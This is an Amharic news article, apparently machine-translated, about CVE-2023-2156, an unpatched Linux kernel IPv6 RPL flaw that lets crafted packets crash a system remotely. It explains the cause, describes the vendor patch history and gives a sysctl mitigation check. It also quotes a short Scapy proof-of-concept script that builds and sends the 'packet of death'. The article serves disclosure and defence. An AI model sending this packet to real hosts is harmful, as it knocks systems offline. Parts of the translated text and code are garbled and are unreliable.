የርቀት የከርነል ብልሽት የሚፈቅድ የ0-ቀን ሊኑክስ IPv6 ቁልል ተጋላጭነት

በሊኑክስ ከርነል ውስጥ ስላለው ያልታረመ (0-ቀን) ተጋላጭነት (CVE-2023-2156) መረጃ ተገልጧል፣ ይህም ስርዓቱን በልዩ ሁኔታ የተነደፉ IPv6 ፓኬቶች (ፓኬት-ኦፍ-ሞት) በመላክ ለማቆም ያስችላል። ችግሩ የሚታየው ለ RPL (Routing Protocol for Low-Power and Lossy Networks) ፕሮቶኮል ሲነቃ ብቻ ነው፣ ይህም በስርጭት ውስጥ በነባሪነት የተሰናከለ እና በዋነኛነት በገመድ አልባ አውታረ መረቦች ውስጥ ከፍተኛ የፓኬት መጥፋት ባለው በተከተቱ መሳሪያዎች ላይ ጥቅም ላይ ይውላል።

ተጋላጭነቱ የተከሰተው በ RPL ፕሮቶኮል መተንተን ኮድ ውስጥ የውጪ መረጃን ትክክል ባልሆነ ሂደት ነው፣ ይህም ወደ አስርት ውድቀት እና ከርነል ወደ ድንጋጤ ሁኔታ ውስጥ በመግባቱ ምክንያት ነው። የIPv6 RPL ፓኬት ራስጌን በk_buff (Socket Buffer) መዋቅር ውስጥ በመተንተን የተገኘውን መረጃ ሲያስቀምጡ የCmprI መስክ ወደ 15፣ የ Segleft መስክ ወደ 1 እና CmprE ወደ 0 ከተቀናበረ አድራሻ ያለው ባለ 48-ባይት ቬክተር ይቋረጣል። ወደ 528 ባይት እና ለመጠባበቂያው የተመደበው ማህደረ ትውስታ በቂ ያልሆነበት ሁኔታ ይታያል. በዚህ አጋጣሚ መረጃን ወደ መዋቅሩ ለመግፋት የሚያገለግለው skb_push ተግባር፣ በመረጃው መጠን እና በቋፍ መካከል አለመመጣጠን መኖሩን ያረጋግጣል፣ ይህም ከጠባቂው ወሰን በላይ መፃፍን ለመከላከል የፍርሃት ስሜት ይፈጥራል።

ምሳሌ ብዝበዛ፡ # ፓኬቱን ከስካፒ ለመስራት ስካፒን እንጠቀማለን፡ ሁሉም አስመጪ * አስመጪ ሶኬት # IPv6 ን ከ LAN በይነገጽ ይጠቀሙ DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # ፓኬቱን ለመላክ ሶኬቶችን እንጠቀማለን sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # ፓኬትን ክራፍት # አይነት = 3 ይህን የ RPL ፓኬት ያደርገዋል # አድራሻዎች 3 አድራሻዎችን ይዟል ነገርግን CmprI 15 ስለሆነ ከመጀመሪያዎቹ ሁለት አድራሻዎች እያንዳንዱ ኦክተቱ እንደ የታመቀ አድራሻ # Segleft = 1 ማጉላትን ለመቀስቀስ # lastentry = 0xf0 ስብስቦች CmprI ወደ 15 እና CmprE እስከ 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8) :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # ይህን ክፉ ፓኬት ላክ sockfd.sendto(bytes(p), (DST_ADDR, 0))

የከርነል አዘጋጆች ስለ ተጋላጭነቱ በጃንዋሪ 2022 ማሳወቂያ እንደተሰጣቸው እና ላለፉት 15 ወራት ችግሩን ለመፍታት ሶስት ጊዜ ሞክረው በሴፕቴምበር 2022፣ ኦክቶበር 2022 እና ኤፕሪል 2023 ላይ ጥገናዎችን በመልቀቅ፣ ግን በእያንዳንዱ ጊዜ ማስተካከያዎቹ በነበሩበት ጊዜ ትኩረት የሚስብ ነው። በቂ አይደለም እና ተጋላጭነቱ እንደገና ሊባዛ አልቻለም። በመጨረሻም, ተጋላጭነትን ለማስተካከል ስራውን ያስተባበረው የ ZDI ፕሮጀክት, በከርነል ውስጥ የሚሰራ ጥገና እስኪገኝ ድረስ ሳይጠብቅ ስለ ተጋላጭነቱ ዝርዝር መረጃ ለመልቀቅ ወስኗል.

ስለዚህ, ተጋላጭነቱ አሁንም አልተስተካከለም. በተለይም በ 6.4-rc2 kernel ውስጥ የተካተተው ፕላስተር ውጤታማ አይደለም. ተጠቃሚዎች የ RPL ፕሮቶኮል በስርዓታቸው ላይ ጥቅም ላይ እንዳልዋሉ እንዲያረጋግጡ ይመከራሉ, ይህም sysctl -a | የሚለውን ትዕዛዝ በመጠቀም ሊከናወን ይችላል. grep -i rpl_seg_የነቃ

ምንጭ: opennet.ru

አስተያየት ያክሉ